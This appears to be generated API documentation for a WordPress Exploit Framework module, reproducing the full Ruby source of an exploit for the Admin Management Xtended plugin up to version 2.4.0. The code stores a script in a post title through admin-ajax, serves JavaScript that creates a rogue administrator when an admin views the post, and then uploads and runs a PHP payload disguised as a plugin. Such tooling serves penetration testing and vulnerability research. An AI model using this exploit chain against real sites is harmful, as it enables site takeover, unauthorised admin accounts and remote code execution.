Class: Wpxf::Exploit::AdminManagementXtendedXssShellUpload

Inherits:
Module
  • Object
show all
Includes:
Wpxf, WordPress::Login, WordPress::Plugin, WordPress::Posts, WordPress::Xss
Defined in:
lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb

Constant Summary

Constants included from WordPress::Options

WordPress::Options::WP_OPTION_CONTENT_DIR

Constants included from Net::HttpOptions

Net::HttpOptions::HTTP_OPTION_BASIC_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_CLIENT_TIMEOUT, Net::HttpOptions::HTTP_OPTION_FOLLOW_REDIRECT, Net::HttpOptions::HTTP_OPTION_HOST, Net::HttpOptions::HTTP_OPTION_HOST_VERIFICATION, Net::HttpOptions::HTTP_OPTION_MAX_CONCURRENCY, Net::HttpOptions::HTTP_OPTION_PEER_VERIFICATION, Net::HttpOptions::HTTP_OPTION_PORT, Net::HttpOptions::HTTP_OPTION_PROXY, Net::HttpOptions::HTTP_OPTION_PROXY_AUTH_CREDS, Net::HttpOptions::HTTP_OPTION_SSL, Net::HttpOptions::HTTP_OPTION_TARGET_URI, Net::HttpOptions::HTTP_OPTION_USER_AGENT, Net::HttpOptions::HTTP_OPTION_VHOST

Instance Attribute Summary

Attributes inherited from Module

#active_workspace, #event_emitter, #payload, #session_cookie

Attributes included from Options

#datastore, #options

Instance Method Summary collapse

Methods included from WordPress::Xss

#wordpress_js_create_user, #xss_ascii_encoded_include_script, #xss_host, #xss_include_script, #xss_path, #xss_shell_success, #xss_url, #xss_url_and_ascii_encoded_include_script

Methods included from WordPress::Plugin

#fetch_plugin_upload_nonce, #generate_wordpress_plugin_header, #upload_payload_as_plugin, #upload_payload_as_plugin_and_execute, #upload_payload_using_plugin_form

Methods included from Net::HttpServer

#http_server_bind_address, #http_server_bind_port, #http_server_thread, #js_ajax_download, #js_ajax_post, #js_post, #start_http_server, #stop_http_server

Methods included from Wpxf

app_path, build_module_list, change_stdout_sync, custom_modules_path, data_directory, databases_path, gemspec, home_directory, load_custom_modules, load_module, modules_path, payloads_path, version

Methods included from WordPress::Posts

#get_post_id_from_body, #get_post_id_from_permalink

Methods included from WordPress::Login

#valid_wordpress_cookie?, #wordpress_login, #wordpress_login_post_body

Methods inherited from Module

#aux_module?, #can_execute?, #check_wordpress_and_online, #cleanup, #exploit_module?, #missing_options, #set_option_value, #unset_option

Methods included from Db::Credentials

#store_credentials

Methods included from ModuleAuthentication

#authenticate_with_wordpress, #requires_authentication

Methods included from WordPress::Urls

#wordpress_url_admin, #wordpress_url_admin_ajax, #wordpress_url_admin_options, #wordpress_url_admin_post, #wordpress_url_admin_profile, #wordpress_url_admin_update, #wordpress_url_atom, #wordpress_url_author, #wordpress_url_comments_post, #wordpress_url_login, #wordpress_url_new_user, #wordpress_url_opml, #wordpress_url_plugin_install, #wordpress_url_plugin_upload, #wordpress_url_plugins, #wordpress_url_post, #wordpress_url_rdf, #wordpress_url_readme, #wordpress_url_rest_api, #wordpress_url_rss, #wordpress_url_sitemap, #wordpress_url_themes, #wordpress_url_uploads, #wordpress_url_wp_content, #wordpress_url_xmlrpc

Methods included from WordPress::Options

#wp_content_dir

Methods included from WordPress::Fingerprint

#check_plugin_version_from_changelog, #check_plugin_version_from_readme, #check_theme_version_from_readme, #check_theme_version_from_style, #check_version_from_custom_file, #wordpress_and_online?, #wordpress_version

Methods included from Net::HttpClient

#base_http_headers, #base_uri, #download_file, #execute_delete_request, #execute_get_request, #execute_post_request, #execute_put_request, #execute_queued_requests, #execute_request, #full_uri, #initialize_advanced_options, #initialize_options, #max_http_concurrency, #normalize_relative_uri, #normalize_uri, #queue_request, #target_host, #target_port, #target_uri

Methods included from Net::TyphoeusHelper

#advanced_typhoeus_options, #create_typhoeus_request, #create_typhoeus_request_options, #standard_typhoeus_options

Methods included from Net::UserAgent

#clients_by_frequency, #random_browser_and_os, #random_chrome_platform_string, #random_firefox_platform_string, #random_firefox_version_string, #random_iexplorer_platform_string, #random_opera_platform_string, #random_processor_string, #random_safari_platform_string, #random_time_string, #random_user_agent

Methods included from Versioning::OSVersions

#random_nt_version, #random_osx_version

Methods included from Versioning::BrowserVersions

#random_chrome_build_number, #random_chrome_version, #random_ie_version, #random_opera_version, #random_presto_version, #random_presto_version2, #random_safari_build_number, #random_safari_version, #random_trident_version

Methods included from Options

#all_options_valid?, #get_option, #get_option_value, #missing_options, #normalized_option_value, #option_valid?, #option_value?, #register_advanced_options, #register_evasion_options, #register_option, #register_options, #scoped_option_change, #set_option_value, #unregister_option, #unset_option

Methods included from OutputEmitters

#emit_error, #emit_info, #emit_success, #emit_table, #emit_warning

Methods included from ModuleInfo

#emit_usage_info, #module_author, #module_date, #module_desc, #module_description_preformatted, #module_name, #module_references, #update_info

Constructor Details

#initialize ⇒ AdminManagementXtendedXssShellUpload

Returns a new instance of AdminManagementXtendedXssShellUpload.



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 10

def initialize
  super

  update_info(
    name: 'Admin Management Xtended XSS Shell Upload',
    desc: 'This module exploits a lack of user level validation in versions '\
          '<= 2.4.0 of the Admin Management Xtended plugin which '\
          'allows authenticated users of any level to update the title of '\
          'any post, which allows the module to store a script that will '\
          'create a new admin user and use the new credentials to '\
          'upload and execute a payload when an admin views the page.',
    author: [
      'Kacper Szurek', # Vulnerability discovery
      'rastating'      # WPXF module
    ],
    references: [
      ['URL', 'http://security.szurek.pl/admin-management-xtended-240-privilege-escalation.html'],
      ['WPVDB', '8354']
    ],
    date: 'Oct 27 2015'
  )

  register_options([
    StringOption.new(
      name: 'username',
      desc: 'The WordPress username to authenticate with',
      required: true
    ),
    StringOption.new(
      name: 'password',
      desc: 'The WordPress password to authenticate with',
      required: true
    ),
    IntegerOption.new(
      name: 'post_id',
      desc: 'The post ID of the post to change the title of',
      required: false
    ),
    StringOption.new(
      name: 'permalink',
      desc: 'The permalink to the post to change the title of',
      required: false
    ),
    StringOption.new(
      name: 'post_title',
      desc: 'The new title to use for the post',
      required: true
    )
  ])
end

Instance Method Details

#check ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 61

def check
  check_plugin_version_from_readme('admin-management-xtended', '2.4.0.1')
end

#on_http_request(path, params, headers) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 132

def on_http_request(path, params, headers)
  if params['u'] && params['p']
    emit_success "Created a new administrator user, #{params['u']}:#{params['p']}"
    stop_http_server

    emit_info 'Removing script from post title...'
    update_post_title(@cookie, @post_id, datastore['post_title'])

    # Set this for #run to pick up to determine success state
    @success = upload_shell(params['u'], params['p'])

    return ''
  else
    emit_info 'Incoming request received, serving JavaScript...'
    return wordpress_js_create_user
  end
end

#run ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 78

def run
  return false unless super

  @cookie = authenticate_with_wordpress(datastore['username'], datastore['password'])
  return false unless @cookie

  if datastore['post_id'].nil? && datastore['permalink'].nil?
    emit_error 'Either the post_id or permalink option must be set'
    return false
  end

  @post_id = 0
  if !datastore['post_id'].nil? && !datastore['permalink'].nil?
    emit_warning 'Both post_id and permalink options were specified'
    emit_warning 'Ignoring permalink and using post_id'
    @post_id = normalized_option_value('post_id')
  elsif datastore['permalink'].nil?
    @post_id = normalized_option_value('post_id')
  else
    emit_info 'Extracting post ID from permalink...'
    @post_id = get_post_id_from_permalink(datastore['permalink'])
    if @post_id.nil?
      emit_error 'Failed to extract the post ID'
      return false
    end
  end

  # Success will determined in another procedure, so initialize to false.
  @success = false

  emit_info 'Storing script...'
  emit_info xss_include_script, true
  res = update_post_title(
    @cookie,
    @post_id,
    "#{datastore['post_title']}<script>#{xss_include_script}</script>"
  )

  if res.nil?
    emit_error 'No response from the target'
    return false
  end

  if res.code != 200
    emit_error "Server responded with code #{res.code}"
    return false
  end

  emit_success "Script stored and will be executed when a user views the post"
  start_http_server

  return @success
end

#update_post_title(cookie, post_id, title) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 65

def update_post_title(cookie, post_id, title)
  execute_post_request(
    url: wordpress_url_admin_ajax,
    params: { 'action' => 'ame_save_title' },
    body: {
      'category_id' => post_id.to_s,
      'new_title' => title,
      'submit' => 'Change'
    },
    cookie: cookie
  )
end

#upload_shell(username, password) ⇒ Object 



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# File 'lib/wpxf/modules/exploit/xss/stored/admin_management_xtended_xss_shell_upload.rb', line 150

def upload_shell(username, password)
  cookie = authenticate_with_wordpress(username, password)
  return false unless cookie

  emit_info 'Uploading payload...'
  plugin_name = Utility::Text.rand_alpha(10)
  payload_name = Utility::Text.rand_alpha(10)
  unless upload_payload_as_plugin(plugin_name, payload_name, cookie)
    emit_error 'Failed to upload the payload'
    return false
  end

  payload_url = normalize_uri(wordpress_url_plugins, plugin_name, "#{payload_name}.php")
  emit_info "Executing the payload at #{payload_url}..."
  res = execute_get_request(url: payload_url)

  if res && res.code == 200 && !res.body.strip.empty?
    emit_success "Result: #{res.body}"
  end

  true
end